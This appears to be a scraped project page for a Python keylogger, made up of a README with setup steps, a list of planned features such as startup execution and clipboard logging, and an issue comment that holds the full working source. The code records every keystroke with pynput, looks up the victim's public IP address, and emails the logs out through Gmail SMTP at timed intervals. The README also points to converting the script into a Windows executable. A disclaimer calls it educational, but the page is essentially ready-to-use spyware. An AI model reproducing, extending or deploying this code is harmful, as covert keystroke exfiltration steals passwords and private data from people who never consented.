Advanced Keylogger in Python

Overview

Advanced Keylogger in Python

Important Disclaimer: The author will not be held responsible for the abuse of this program. This is only intended for educational purposes.

How to use:

  1. Install Python version 3 on your computer from https://python.org. Make sure you install the pip package manager (it should be an option that the Python installer gives).
  2. Download the file and open it up in a text editor.
  3. Install all the necessary packages the program uses using Pip. You can find these packages at the beginning of the program.
  4. Change [email protected] and YOURPASSWORD to your preferred email/password that you want the keylogger to email the keylogs to.
  5. You can change self.emailInterval to the interval the keylogger should send the email with keylogs (in seconds). It is currently set to 3600 seconds which is 1 hour.
  6. You can also change the name of the file that contains the keylogs by modifying self.logFile. By default, it is called "keylogs.txt".
  7. At this point, you can run the keylogger program as a python program .py
  8. If you want to convert this to an executable file that can be run on any computer with Windows Operating System, check out: https://stackoverflow.com/questions/41570359/how-can-i-convert-a-py-to-exe-for-python

Features:

  1. Automatically stores keylogs with date and time to keylogs.txt file.
  2. Automatically emails the keylogs file to the specified email with SMTPLIB and TLS encryption and exception handling.

image

MORE FEATURES TO COME SOME, INCLUDING:

  1. Automatically exceute on computer startup
  2. Screen Recording and Clipboard Logging
  3. Support for other email service providers
You might also like...
Video Stream is an Advanced Telegram Bot that's allow you to play Video & Music on Telegram Group Video Chat
Video Stream is an Advanced Telegram Bot that's allow you to play Video & Music on Telegram Group Video Chat

Video Stream is an Advanced Telegram Bot that's allow you to play Video & Music on Telegram Group Video Chat 📊 Stats 🧪 Get SESSION_NAME from below:

An advanced NFT Generator

NFT Generator An advanced NFT Generator Free software: GNU General Public License v3 Documentation: https://nft-generator.readthedocs.io. Features TOD

Hexa is an advanced browser.It can carry out all the functions present in a browser.

Hexa is an advanced browser.It can carry out all the functions present in a browser.It is coded in the language Python using the modules PyQt5 and sys mainly.It is gonna get developed more in the future.It is made specially for the students.Only 1 tab can be used while using it so that the students cant missuse the pandemic situation :)

Advanced IPv4 Subnet Calculator in Python3
Advanced IPv4 Subnet Calculator in Python3

Advanced IPv4 Subnet Calculator in Python3 Table of Contents Getting Started Installation How it works? SVI Configuration Template Previews Getting St

Zeus - Advanced Punishments with Embeds.

Zeus Advanced Punishments with Embeds. Make sure to put the Discord Bot Token in the " TOKEN = '' " Language Python Features Ban Kick Mute Unmute Warn

Todos os exercĂ­cios do Curso de Python, do canal Curso em VĂ­deo, resolvidos em Python, Javascript, Java, C++, C# e mais...
Todos os exercĂ­cios do Curso de Python, do canal Curso em VĂ­deo, resolvidos em Python, Javascript, Java, C++, C# e mais...

ExercĂ­cios - CeV Oferecido por Linguagens utilizadas atualmente O que vai encontrar aqui? đź‘€ Esse repositĂłrio Ă© dedicado a armazenar todos os enunciad

PyDy, short for Python Dynamics, is a tool kit written in the Python
PyDy, short for Python Dynamics, is a tool kit written in the Python

PyDy, short for Python Dynamics, is a tool kit written in the Python programming language that utilizes an array of scientific programs to enable the study of multibody dynamics. The goal is to have a modular framework and eventually a physics abstraction layer which utilizes a variety of backends that can provide the user with their desired workflow

A Python script made for the Python Discord Pixels event.

Python Discord Pixels A Python script made for the Python Discord Pixels event. Usage Create an image.png RGBA image with your pattern. Transparent pi

this is a basic python project that I made using python

this is a basic python project that I made using python. This project is only for practice because my python skills are still newbie.

Comments
  • Didn't recieve any email

    Didn't recieve any email

    Didn't recieve any email

    Did I did something bad ?

    
    from pynput.keyboard import Listener
    from email.message import EmailMessage
    import smtplib
    import time
    import os
    import requests
    
    class keylogger:
    
        def __init__(self, emailAddress, password):
            self.start_time = time.time()
            self.email = emailAddress
            self.password = password
            self.ip = requests.request('GET', 'https://api.ipify.org').text
            self.emailInterval = 30
            self.logFile = "output.txt"
    
        def keystroke_handler(self, key):
            dateTime = time.strftime("%m/%d/%Y %H:%M:%S")
            format = f'{dateTime}: {key}\n'
            with open(f"{self.logFile}", "a") as keylogFile:
                keylogFile = open("output.txt", "a")
                keylogFile.write(format)
    
            if (time.time() - self.start_time) > self.emailInterval:
                with open("output.txt", "r") as keylogFile:
                    try:
                        keylogger.send_email(self)
                        print("Email sent successfully!")
                    except smtplib.SMTPServerDisconnected:
                        print("Error: The server unexpectedly disconnected!")
                    except smtplib.SMTPSenderRefused:
                        print("Error: Sender address refused.")
                    except smtplib.SMTPDataError:
                        print("Error: The SMTP server refused to accept the message data.")
                    except smtplib.SMTPConnectError:
                        print("Error: Failed to establish a connection with the server.")
                    except smtplib.SMTPAuthenticationError:
                        print("Error: SMTP authentication went wrong. Most probably the server did not accept the username/password combination provided.")
                    except Exception as e:
                        print(e)
    
                os.remove("output.txt")
                self.start_time = time.time()
    
        def send_email(self):
            
            dateTime = time.strftime("%m/%d/%Y %H:%M:%S")
            message = EmailMessage()
            message['Subject'] = f'Keylogs for {self.ip} - {dateTime}'
            message['From'] = self.email
            message['To'] = self.email
            message.add_attachment(open("output.txt", "r").read(), filename="output.txt")
    
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(self.email, self.password)
            server.send_message(message)
            server.quit()
    
        def main(self):
            with Listener(on_press=keylogger(self.email, self.password).keystroke_handler) as listener:
                listener.join()
    
    keylogger("not gonna say", "not gonna say").main()
    
    

    Thanks !

    opened by Julooot 5
Created a Python Keylogger script.

Python Script Simple Keylogger Script WHAT IS IT? Created a Python Keylogger script. HOW IT WORKS Once the script has been executed, it will automatic

AC 0 Dec 12, 2021
KeyLogger cliente-servidor em Python para estudos

KeyLogger Esse projeto Ă© apenas para estudos, nĂŁo nos responsabilisamos por qualquer uso indevido ou prejudiciais do mesmo. Sobre O objetivo do projet

null 1 Dec 17, 2021
KeyBrowser: A program launches a browser and a keylogger at the same time, is used to retrieve a person's personal information

KeyBrowser: A program launches a browser and a keylogger at the same time, is used to retrieve a person's personal information

null 3 Oct 16, 2022
An Advanced Wordlist Library Written In Python For Acm114

RBAPG ->RBAPG is the abbreviation of "Rule Based Attack Password Generator". ->This module is a wordlist generator module. ->You can generate randomly

Aziz Kaplan 11 Aug 28, 2022
Advanced Developing of Python Apps Final Exercise

Advanced-Developing-of-Python-Apps-Final-Exercise This is an exercise that I did for a python advanced learning course. The exercise is divided into t

Alejandro Méndez Fernández 1 Dec 4, 2021
Gives you more advanced math in python.

AdvancedPythonMath Gives you more advanced math in python. Functions .simplex(args: {number}) .circ(args: {raidus}) .pytha(args: {leg_a + leg_2}) .slo

Voidy Devleoper 1 Dec 25, 2021
JD-backup is an advanced Python script, that will extract all links from a jDownloader 2 file list and export them to a text file.

JD-backup is an advanced Python script, that will extract all links from a jDownloader 2 file list and export them to a text file.

Kraken.snv 3 Jun 7, 2022
An advanced pencil sketch generator

Pencilate An advanced pencil sketch generator About : An advanced pencil sketch maker made in just 12 lines of code. Yes you read it right, JUST 12 LI

MAINAK CHAUDHURI 23 Dec 17, 2022
Advanced Variable Manager {AVM} [0.8.0]

Advanced Variable Manager {AVM} [0.8.0] By Grosse pastèque#6705 WARNING : This modules need some typing modifications ! If you try to run it without t

Big watermelon 1 Dec 11, 2021
This is a far more in-depth and advanced version of "Write user interface to a file API Sample"

Fusion360-Write-UserInterface This is a far more in-depth and advanced version of "Write user interface to a file API Sample" from https://help.autode

null 4 Mar 18, 2022